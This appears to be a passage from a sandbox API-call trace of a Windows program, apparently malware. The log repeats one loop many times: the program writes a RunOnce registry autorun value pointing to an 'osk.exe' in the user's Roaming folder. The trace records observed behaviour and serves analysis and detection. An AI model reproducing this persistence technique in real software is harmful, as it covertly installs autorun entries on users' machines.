(_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0264.029] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0264.029] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0264.029] RegCloseKey (hKey=0x14c) returned 0x0 [0264.029] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0264.030] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0264.047] TranslateMessage (lpMsg=0x95f69c) returned 0 [0264.047] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0264.047] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0264.048] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0264.048] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0264.048] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0264.048] RegCloseKey (hKey=0x14c) returned 0x0 [0264.048] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0264.049] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0264.074] TranslateMessage (lpMsg=0x95f69c) returned 0 [0264.074] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0264.074] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0264.075] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0264.075] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0264.075] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0264.075] RegCloseKey (hKey=0x14c) returned 0x0 [0264.076] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0264.076] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0264.090] TranslateMessage (lpMsg=0x95f69c) returned 0 [0264.090] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0264.090] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0264.091] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0264.091] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0264.091] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0264.091] RegCloseKey (hKey=0x14c) returned 0x0 [0264.092] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0264.092] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0264.105] TranslateMessage (lpMsg=0x95f69c) returned 0 [0264.105] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0264.106] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0264.106] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0264.106] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0264.106] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0264.107] RegCloseKey (hKey=0x14c) returned 0x0 [0264.107] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0264.107] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0264.121] TranslateMessage (lpMsg=0x95f69c) returned 0 [0264.121] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0264.121] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0264.122] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0264.122] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0264.122] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0264.122] RegCloseKey (hKey=0x14c) returned 0x0 [0264.123] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0264.123] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0264.137] TranslateMessage (lpMsg=0x95f69c) returned 0 [0264.137] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0264.138] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0264.138] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0264.138] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0264.139] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0264.139] RegCloseKey (hKey=0x14c) returned 0x0 [0264.139] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0264.139] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0264.156] TranslateMessage (lpMsg=0x95f69c) returned 0 [0264.156] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0264.156] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0264.157] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0264.157] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0264.157] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0264.157] RegCloseKey (hKey=0x14c) returned 0x0 [0264.157] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0264.158] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0264.183] TranslateMessage (lpMsg=0x95f69c) returned 0 [0264.183] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0264.184] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0264.184] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0264.184] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0264.185] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0264.185] RegCloseKey (hKey=0x14c) returned 0x0 [0264.185] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0264.185] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0264.239] TranslateMessage (lpMsg=0x95f69c) returned 0 [0264.239] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0264.239] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0264.240] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0264.240] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0264.240] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0264.240] RegCloseKey (hKey=0x14c) returned 0x0 [0264.241] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0264.241] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0264.261] TranslateMessage (lpMsg=0x95f69c) returned 0 [0264.261] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0264.262] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0264.262] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0264.262] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0264.262] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0264.263] RegCloseKey (hKey=0x14c) returned 0x0 [0264.263] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0264.263] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0264.324] TranslateMessage (lpMsg=0x95f69c) returned 0 [0264.324] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0264.325] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0264.325] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0264.325] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0264.325] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0264.326] RegCloseKey (hKey=0x14c) returned 0x0 [0264.326] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0264.326] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0264.339] TranslateMessage (lpMsg=0x95f69c) returned 0 [0264.339] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0264.340] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0264.340] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0264.340] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0264.341] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0264.341] RegCloseKey (hKey=0x14c) returned 0x0 [0264.341] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0264.341] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0264.355] TranslateMessage (lpMsg=0x95f69c) returned 0 [0264.355] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0264.356] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0264.356] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0264.356] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0264.356] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0264.357] RegCloseKey (hKey=0x14c) returned 0x0 [0264.357] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0264.357] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0264.371] TranslateMessage (lpMsg=0x95f69c) returned 0 [0264.371] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0264.372] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0264.372] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0264.372] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0264.372] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0264.372] RegCloseKey (hKey=0x14c) returned 0x0 [0264.373] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0264.373] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0264.389] TranslateMessage (lpMsg=0x95f69c) returned 0 [0264.389] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0264.390] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0264.390] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0264.390] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0264.390] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0264.390] RegCloseKey (hKey=0x14c) returned 0x0 [0264.391] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0264.391] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0264.402] TranslateMessage (lpMsg=0x95f69c) returned 0 [0264.402] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0264.402] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0264.403] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0264.403] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0264.403] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0264.403] RegCloseKey (hKey=0x14c) returned 0x0 [0264.403] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0264.404] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0264.418] TranslateMessage (lpMsg=0x95f69c) returned 0 [0264.418] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0264.418] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0264.418] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0264.418] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0264.419] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0264.419] RegCloseKey (hKey=0x14c) returned 0x0 [0264.419] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0264.419] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0264.433] TranslateMessage (lpMsg=0x95f69c) returned 0 [0264.433] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0264.434] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0264.434] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0264.434] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0264.435] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0264.435] RegCloseKey (hKey=0x14c) returned 0x0 [0264.435] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0264.435] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0264.449] TranslateMessage (lpMsg=0x95f69c) returned 0 [0264.449] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0264.449] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0264.450] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0264.450] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0264.450] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0264.450] RegCloseKey (hKey=0x14c) returned 0x0 [0264.450] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0264.450] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0264.464] TranslateMessage (lpMsg=0x95f69c) returned 0 [0264.464] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0264.465] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0264.465] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0264.465] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0264.465] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0264.466] RegCloseKey (hKey=0x14c) returned 0x0 [0264.466] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0264.466] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0264.480] TranslateMessage (lpMsg=0x95f69c) returned 0 [0264.480] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0264.480] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0264.481] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0264.481] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0264.481] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0264.481] RegCloseKey (hKey=0x14c) returned 0x0 [0264.481] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0264.482] GetMessageW (in: 